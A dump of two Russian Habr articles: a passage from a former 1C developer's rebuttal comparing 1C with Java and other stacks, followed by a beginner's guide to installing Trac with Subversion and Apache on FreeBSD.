С аналитиками, мобильными разработчиками и дизайнерами на общем совещании мы обсуждаем функционал. Все участвующие задают интересующие вопросы. По результатам совещания создается "История" в Jira, которая обрастает задачами на доработку нужных компонентов. Для галочки такой процесс занимает от силы 2 дня.
Я добавляю флажок в конечную точку API, если нужно, поднимаю версию этой конечной точки.
Мобильные разработчики рисуют галочку в очередном релизе. Дизайнер это утверждает, а QA-инженер тестирует. Ничего архисложного в этом нет, если процесс разработки адекватно поставлен.
И да, в 2022-м люди договариваются, а не сходу требуют ТЗ.
Андрей напишет сервис ради галочки? Стоп. А зачем столько приседаний ради галочки в договоре? Или команда пишет целый сервис для хранения данных договора? Если так, то почему такая непоследовательность? Значит, в сущность клиента/заказчика сразу выведены его 100500 заказов, а тут целый сервис ради галочки или договора.
Выставите и задокументируете API? Автогенерация спецификации swagger из аннотаций в коде, видимо, перестала работать в этом нашем настоящем программировании, да.
Фронтендерам надо рисовать кнопки и чтобы от них отстали? Да, совсем забыл про удивительных мир «настоящего программирования».
Неделя – на выключение поля при установленном флажке! Я не удивлен, учитывая качество человеческого материала, описанного в оригинальной статье. Мне было бы интересно познакомиться с HR, который подбирал такие замечательные кадры. Интересно, в мире HR существует аналог "Золотой малины"?
И да, мне как серверному программисту нужно десериализовать JSON. Опять этот ретроградный Меркурий все испортил и отменил в Spring Jackson ObjectMapper по умолчанию. Сижу и завидую 1С-программистам, им ведь в REST-сервисах не нужно десериализовывать тело запроса. Вернуться что ли обратно в 1С, как считаете?
Продолжаем страдать, дальше мне нужно превратить DTO в то, что ляжет в базу данных по одному полю. А что, переложить данные стало так сложно? При строгой типизации IDE знает о совпадающих полях и сама заполняет их, а я просто получаю удовольствие.
Как это нет функции "ЗаполнитьЗначенияСвойств"?! Хватит с меня этого вашего "настоящего программирования". Если говорить серьезно, то в Java, Golang и, скорее всего, в C# заполнение экземпляров типов с одинаковыми именами полей решается рефлексией. Но думаю, что это избыточная сложность – достаточно переложить одни поля в другие через горячую клавишу в IDE. Конечно, имеется в виду нормальная IDE, а не конфигуратор 1С.
Кстати, на github.com даже кто-то написал эту функцию <https://github.com/jinzhu/copier>.
Насчет "не забыть про логирование, про права доступа, технический журнал, телеметрию". Логирование в 1С делается очень легко? Решили мы как-то на высоконагруженной самописной конфигурации писать логи, как ребята из соседних команд, в специальный топик в Apache Kafka. Сначала взяли Confluence REST API, он работал нормально, а потом перестал, были фризы при записи на 30 секунд. Затем пробовали внешнюю компоненту от Серебрянной Пули, тоже на удивление медленно. Возможно наши Python-разработчики просто не умели готовить Apache Kafka. Но, в основном, все, что может 1С – это работать не ниже протоколов прикладного уровня, и чаще всего это HTTP-протокол.
Интересный факт – знакомый 1С-программист обнаружил, что полностью аналогичные некеширующиеся HTTP-запросы из 1C и Python к тому же ресурсу API на последнем выполняются в несколько раз быстрее. Почему? Как? Зачем? Это еще с учетом того, что Python имеет славу медленного ЯП.
Чем все закончилось с логированием? При большой нагрузке запись логов работала дольше бизнес-логики, и это со всеми оптимизациями! Какой это по счету шах и мат 1С-программистам? В общем, да, стали записывать в текстовые файлики на сервере! Ограничения во благо же.
Про права
---------
У нас на работе права доступа регулируются отдельным сервисом, который инкапсулирует в себе нужный ограничивающий функционал. И работает он ожидаемо, а не как RLS. Если бы все работало как часы, на всем известном в сообществе 1С-форуме не появлялись бы темы про RLS с таким завидным постоянством.
Телеметрия и технический журнал реализуются в отдельном сервисе.
Не могу не прокомментировать про слишком "много писать, получается спагетти-код, они не умеют пользоваться библиотеками". А кодогенерацию отменили уже? Судя по словам Андрея, в транспортный слой запихивается половина, т. е. 50% кода, который обрабатывает бизнес-логику. А как это пропустили на code review? Что-то не очень с компетенциями в команде мечты.
Да, писать кода приходится много, но зато поведение решения будет ожидаемым. Я могу посмотреть запросы в Chrome DevTools, могу их оптимизировать. Я занимался как-то самописной конфигурацией, в которой был красивый интерфейс – карты рисовались через Leaflet + OpenStreetMap в поле HTML документа (control для webview в 1С), по факту на 1С Webkit. UI часто падал в неожиданных местах, но хотя бы работал со сносной скоростью, я постарался минимизировать количество вызовов сервера. Анализ ошибок был делом мучительным и неопределенным.
Если с frontend на взрослых ЯП все довольно просто, то как разобраться в том обфусцированном ужасе на Javascript, который генерирует платформа для веб-клиента? А уж тем более что-то оптимизировать? Даже разработчики платформы не смогли этого. Я ловил ошибки Javascript в этом сгенерированном коде.
Могу ли я залезть под капот 1С? Нет, ограничения же во благо. Как я это исправлял? Чисто эвристическим методом находил забавные места, вроде установки "Неопределено" в поле на форме или дробных значений в конструкторе объекта Цвет. Нормально, да?
"Неблагодарный труд" - то, чем вынужден заниматься 1С-программист, попытайся он сделать что-то необычные на этом фреймворке.
Про права я уже сказал. Если в компании имеет место быть адекватная аналитика и процесс сбора и форматизации требований без многотомных ТЗ, которые никто не будет писать, то права обычно делаются в самом начале. Это позволяет на этапе проектирования решения обрезать часть функционала, который не требуется, и избежать ошибок проектирования. Код первых коммитов в одном из моих рабочих репозиториев учитывает эти ограничения.
Так что про то, что права не проектируют – Андрею просто не повезло с коллегами.
Про PDF в взрослом программировании
-----------------------------------
В настоящих ЯП нет бесплатной и хорошей библиотеки для конвертации PDF? Есть хорошие платные библиотеки, причем чем лучше библиотека, тем жаднее ее авторы. Думаю, что это Андрей про 1С пишет. По поводу бесплатных – для Java на первой же странице поисковой выдачи находятся OpenPDF и Apache PDFBox.
Я видел в исходниках одного государственного сервиса, что они используют OpenPDF для генерации отчетных документов. Для конвертации XLS в PDF есть Spire.XLS. Про конвертацию поговорили. Если стоит задача извлечь текст из PDF с сохранением его порядка, особенно если текст в таблице? Великая и неповторимая 1С не смогла. А в Java получилось с помощью все той же Apache PDFBox.
Даже если что-то не устраивает, я могу это дописать, ведь я могу расширять классы и переопределять методы. Как я могу вмешаться в генерацию PDF в 1С или генерацию кода веб-клиента? Есть 2 варианта – устроиться в 1С и дописать платформу или наделать внешних компонент, но ведь тогда это не чистый 1С, а некого рода читерство. Так что остается первый вариант.
Настоящим программистам приходится плакать, колоться и запускать приложение html2pdf.exe. Хахаха, жалкие неудачники! Другое дело – в 1С: никаких приложений, COM-объектов, внешних компонентов запускать не приходится. Никогда. Вот как много значит безоговорочная вера в непогрешимость вендора.
1С-ники – очень хорошие аналитики
---------------------------------
А разве в других стеках программирования очень плохие аналитики? В описываемом Андреем мире программисты на других языках не задают вопросов о задаче. Ведь это те самые недееспособные ребята, которые в слове Class делают 5 ошибок. Не считаю умение анализировать требования чем-то сверхсложным.
Если мне дали непонятные требования, мои действия следующие: я надеваю повязку на лоб, включаю эпичную музыку фоном и начинаю узнавать у всех причастных, чего же они действительно хотели от моего скромного сервиса. Зачем что-то кодить, если придется выбрасывать после уточнения требований?
Вот программисты на других ЯП "ждут, что аналитик им принесет некий текст, и они сделают так, как этот текст поняли". Если аналитик плохой, то и код будет плохой. Добро пожаловать в черно-белый мир настоящего программирования и категоричных суждений.
Я, если честно, даже думаю, что в оригинальной статье умышленно не упомянуты умения 1С-ников читать мысли, отжиматься без рук и строить космические корабли. Причем делать это все одновременно.
Действительно, только такой человек может встретить нервного менеджера, который еще посмел ругаться с гуру программирования 1С. Программисты из других стеков просто не справятся.
А еще 1С-программист знает какой-то особый язык бизнеса, недоступный людям, не овладевшим конфигуратором.
Вот почему 1С-ники такие красавчики?
Может быть Agile?
-----------------
Agile хорош, но только если все играют по правилам. Если у руководства горизонт планирования, как у аквариумной рыбки, и каждые 3 дня меняется набор задач на спринт, тут никакая методология разработки не поможет.
Возможно, нужно выбрать другую методологию, а дело разработчиков – проголосовать заявлениями на увольнение, если до руководства не доходят очевидные вещи.
Но даже с Agile нет гарантии, что не попадешь на некомпетентных руководителей.
Однажды на одном из бывших мест работы IT-директор добавил к нам, программистам, на созвон, PM'ов, они своего не упустили и через каждые 5 минут спрашивали про сроки. В общем, эмоций было немного, но они были яркими.
Стоит ли переходить из 1С на другие ЯП?
---------------------------------------
В оригинальной статье очень предвзятый и категоричный взгляд на вещи. Есть ощущение, что статья "заказная".
Я рассказал краткий путь "свитчера", и у меня все прошло прекрасно. Я даже не ожидал, что будет все так легко.
В жизни все происходит в свое время. Пока человеку комфортно в 1С, он найдет миллион отговорок про настоящие ЯП, что ничего не поменяется. Как только Вы реально устанете от бесконечных "да, но нет" платформы, решение и алгоритм действий появятся сами собой. У меня случилось именно так.
Я не планировал уходить из 1С, иначе бы действовал гораздо более решительно. Сначала просто хотелось подучить Java, попробовать на вкус это ваше "взрослое IT". Меня зацепило и не отпускает до сих пор. Можно ли сказать, что в 1С я выгорел? Не думаю, я мог бы с тем же успехом дальше писать нетиповые.
В токсичной экосистеме 1С Вы никогда не напишете что-либо выходящее за рамки СНГ. Вендор не хочет выходить на международные рынки, как Microsoft или Oracle. Представитель 1C International, который занимается распространением 1С за пределы родины, в 2020-м мне сказал, что это не 1C way. Они хотят найти разработчика, который уже живет в стране X, знает потребности местного рынка и уже пишет решение, которое как минимум поработит страну пребывания и решит все проблемы человечества разом.
Зачем 1С такому разработчику, когда он уже достиг успеха?
Кроме того, судя по скорости реализации пожеланий от сообщества 1С-программистов в платформе, новых технологий ждать придется не один десяток лет, старые бы подвезли до конца.
Про отношение вендора к простым разработчикам я уже несколько раз упоминал.
Примеров и так достаточно.
Рынок 1С – CRUD-приложения для мелкого и среднего бизнеса с визуализацией табличек и обслуживание бешеного принтера.
Да, в настоящем программировании все придется пилить самому, зато можно сделать ровно то, что хочет бизнес. Можно выучить универсальные технологии, применимые не только в 1С, а во взрослом IT, где векторов развития гораздо больше, чем в 1С. Можно работать со всем миром. Поскольку вовлечен весь мир, взрослые ЯП и их экосистемы развиваются гораздо быстрее и динамичнее, чем 1С. Я думаю, это очевидно.
Будете ли вы в итоге скучать по 1С? Я не скучаю, иногда жалею, что не нашел в себе мотивации уйти раньше. Теперь приходится в авральном режиме изучать некоторые технологии из-за того, что в экосистеме 1С все свое.
Разработчики платформы 1С видят, что приток молодых специалистов уменьшился, и это неспроста. Всегда поражался политике 1С. Как можно сделать платным форум со специалистами и платформу?
Вон Embarcadero тоже хочет 5000 USD за лицензию разработчика на Delphi. Только где теперь Delphi? Лично знаю двоих бывших delphi'стов, которые в конечном итоге переметнулись в Java.
По поводу отзывчивости сообщества – пойдите спросите что-нибудь на одном из первых форумов в поисковой выдаче про 1С. На какой странице будет робкая попытка помочь? На 2-й? Сравните с тем, как помогают на [stackoverflow.com](http://stackoverflow.com) или [forum.golangbridge.org](http://forum.golangbridge.org). А эти всезнающие индусы и арабы с их мануалами на YouTube! Вы все сами прекрасно понимаете. Вернуться никогда не поздно.
А что там по деньгам?
---------------------
"Я встречал Java-программистов, которые приходят на 100 тысяч рублей"? Насколько я знаю, это потолок для Junior-специалиста в Москве на середину прошлого года. Я также встречал 1С-программистов, которые приходят на 200 тысяч рублей, даже одного такого видел в зеркале. Разброс зарплат зависит от средней по рынку и стоимости специалиста. Поэтому готовьте классное резюме и меняйте стек.
Моему знакомому Middle Java разработчику предлагали на руки 270 тысяч рублей в июле прошлого года.
Многие толковые 1С-ники, которым уже за 30+, боятся уйти из 1С из-за проседания по доходам, у многих кредиты, семьи, да и время сейчас неспокойное. Думаю, что важно иметь хорошее резюме, побольше опыта, пусть даже и в GitHub – и все приложится.
У меня получилось не просесть по доходам, даже выторговать больше.
Могу как-нибудь написать мануал по свитчерству.
Заключение
----------
Я постарался описать все утверждения, с которыми не согласен. Это моя первая статья, и надеюсь, что читателю удалось дотерпеть до конца. Прошу прощения за повторения, и если я кого-то задел своими словами. Ребята, вы – лучшие, я бы не осилил дочитать такую длинную статью.
Несмотря на критику оригинальной статьи и фреймворка 1С в целом, я хотел бы сказать спасибо его создателям. Именно с помощью 1С простой парень из провинции начал зарабатывать себе на жизнь любимым делом – программированием.
Кроме этого, я познакомился с множеством интересных и умных людей. Решал проблемы пользователей и упрощал им жизнь. Такие вещи доставляют истинное удовлетворение от проделанной работы.
Мое отношение к 1С-программистам положительное, как и раньше. Я им сочувствую, т. к. им приходится вести неблагодарную fullstack-разработку и решать задачи сразу нескольких "настоящих программистов". И все это при наплевательском отношении со стороны вендора.
Знакомый коллега наблюдал как fullstack-разработчика (Javascript + PHP) посадили писать на 1С. "Настоящий программист" не мог понять, почему столько ограничений, ведь "это легко делается на Javascript". После недели, потраченной на доработку подсистемы, он перестал посмеиваться над 1С-никами.
Те, кто попал в 1С в то же время, что и я, помните, как круто было вначале, когда такой коммерциализации сообщества 1С еще не было? Разработки были бесплатными, а ребята на вышеупомянутом форуме казались такими умными. Критикуемые мною решения в 1С – хороший отрицательный пример, и где-то я даже поучился у 1С, как лучше не делать.
Если резюмировать, я согласен с автором, что для быстрого прототипирования CRUD-приложений без высокой нагрузки лучше 1С нет. Задумка фреймворка 1С изначально была хорошая, но для своего времени, когда царили монолитные приложения. Проблемы 1С начинаются там, где требуется разработать что-то необычное и интересное. А этого по прошествии 10 лет на 1С очень хотелось.
Может быть, с учетом последних событий и изоляции страны все-таки придется вернуться в 1С. Это будет очень иронично. | https://habr.com/ru/post/695734/ | null | ru | null |
# Пошаговая установка TRAC на FreeBSD для начинающих
#### The Trac project
Я не буду описывать ее возможности и для чего эта система нужна, все есть на офф. сайте (<http://trac.edgewall.org>) или в [википедии](http://ru.wikipedia.org/wiki/Trac).
Рассмотрю только установку и настройку детально для новичков (статья посвящена другу Энверу из Рязани, может еще кому пригодиться), тому кто уже с этим сталкивался пользы эта статья не принесет.
#### Связка FreeBSD + SVN + Apache2 + Trac
##### Для новичков подробнее о связке и способе работы
Все исходники разрабатываемого ПО лежат в SVN (удобно видеть все изменения и всегда легко сделать откат, если надо).
Trac — система, предоставляющая возможность интерактивной работы прежде всего с svn репозиторием, а так же вики (не считая доп. модулей).
##### Установка
Первым ставим Apache 2.2
`cd /usr/ports/www/apache22
make WITH_BERKELEYDB=db42 install`
Качаем и ставим мод питон
`cd /tmp
fetch http://www.apache.org/dist/httpd/modpython/mod_python-3.3.1.tgz
tar -xvf mod_python-3.3.1.tgz
cd mod_python-3.3.1
./configure
make
make install
rm -R mod_python-3.3.1 mod_python-3.3.1.tgz`
Далее SVN
`cd /usr/ports/devel/subversion
make WITH_MOD_DAV_SVN= install`
Установка Trac и модуля webadmin
`cd /usr/ports/www/trac
make install
cd /usr/ports/www/trac-webadmin/
make install`
при желании можно установить и другие модули, на Ваше усмотрение
##### Настройка
Теперь когда все установлено приступаем к настройке, для начала настроим Subversion.
Создаем директорию для хранения репозиториев, т.к. мы будем юзать доступ через апач с модулем WebDav, то лучше хранить их в папке с правами группы апача
`mkdir /usr/local/www/repository`
создаем проект
`svnadmin create /usr/local/www/repository/project_name`
рекурсивно назначаем права группы и пользователя apache
`chown -R www:www /usr/local/www/repository`
создаем файл с пользователями и паролями
`htpasswd -c /usr/local/etc/project_name.passwd user_name`
для добавления пользователя та же самая команда, но без ключа **-c**
Переходим к Apache
проверим включен ли mod\_dav\_svn в конфиге апача `edit /usr/local/etc/apache22/httpd.conf` (должна быть строка вида *LoadModule dav\_svn\_module libexec/apache22/mod\_dav\_svn.so*)
там же добавляем ниже
`LoadModule python_module libexec/apache22/mod_python.so`
еще ниже раскомменчиваем сроку
`Include etc/apache22/extra/httpd-vhosts.conf`
сохраняем…
открываем файл с виртуальными хостами `edit /usr/local/etc/apache22/extra/httpd-vhosts.conf` и правим
`NameVirtualHost *:80
ServerAdmin webmaster@project\_name.ru
DocumentRoot "/usr/local/www/trac/htdocs"
ServerName trac.project\_name.ru
ErrorLog "/var/log/trac.project\_name.ru-error\_log"
AuthType Basic
AuthName "Subversion repository"
AuthUserFile /usr/local/etc/project\_name.passwd
Require valid-user
DAV svn
SVNParentPath /usr/local/www/repository`
сохраняем изменения и рестартуем апач
`apachectl restart`
проверяем репозиторий на работоспособность через браузер и SVN-клиент(я использую Subcommander и SmartSVN под линукс и винду соответсвенно) [server\_ip/svn/project\_name](http://server_ip/svn/project_name) ну и используя логины пользователей которых Вы создали.
##### Далее создаем проект в Trac
создаем папку для проектов, копируем статику
`cd /usr/local/www
mkdir trac
cd trac
mkdir -pv /usr/local/www/trac/htdocs/i
cp -R /usr/local/share/trac/htdocs/* /usr/local/www/trac/htdocs/i
echo "[Project Name](/project_name)" >> /usr/local/www/trac/htdocs/index.html`
и создаем сам проект
`trac-admin project_name initenv`
далее заполняем устанавливаем по инструкции,
название проекта
база по умолчанию используется sqlite просто жмем (для других БД информация тут <http://trac.edgewall.org/wiki/DatabaseBackend>)
тип репозитория: svn
путь к репозиторию: /usr/local/www/repository/project\_name
остальное по умолчанию…
открываем для редактирования конфиг проекта `edit /usr/local/www/trac/project_name/conf/trac.ini`
находим директивы и ставим новые значения
`htdocs_location = /i/
default_charset = utf-8
base_url =http://server_ip/project_name`
и в конце добавляем модуль webadmin
`[components]
webadmin.* = enabled`
подробнее по всем директивам здесь [trac.edgewall.org/wiki/TracIni](http://trac.edgewall.org/wiki/TracIni)
назначаем права администратора одному из пользователей
`trac-admin /usr/local/www/trac/project_name permission add user_name TRAC_ADMIN`
делаем синхронизацию проекта
`trac-admin /usr/local/www/trac/project_name resync`
после установки назначаем снова права на папку с проектами
`chown -R www:www /usr/local/www/trac`
Проверяем на работоспособность Trac `tracd --port 8000 /usr/local/www/trac/project_name` и смотрим его в браузере <http://server_ip:8000>
для завершения процесса используем сочетание
Если все работает нормально, то нужно, что бы Trac запускал апач…
Снова открываем для редактирования
`edit /usr/local/etc/apache22/extra/httpd-vhosts.conf`
Добавляем
`SetHandler mod\_python
PythonInterpreter main\_interpreter
PythonHandler trac.web.modpython\_frontend
PythonOption TracEnv/usr/local/www/trac/project\_name
PythonOption TracUriRoot /project\_name`
Снова перезагружаем апач и открываем в браузере <http://server_ip/project_name>
Заходим под логином админа и наводим порядок не забудьте проставить права доступа пользователям <http://trac.edgewall.org/wiki/TracPermissions>
Для Linux систем отличается только процесс установки и пути к файлам.
На одном сервере можно вести несколько проектов, поэтому достаточно только создать новый проект в svn и trac и дописать их в httpd-vhosts.conf
**P.S.:** Статья писалась с максимальным упрощением для понимания начальных пользователей Linux, поэтому комменты с тем, что «вот лучше делать так» или «вот так будет безопаснее» можно опустить, т.к. я предполагал, что сервер в локальной сети компании, а не в интернет… | https://habr.com/ru/post/45389/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.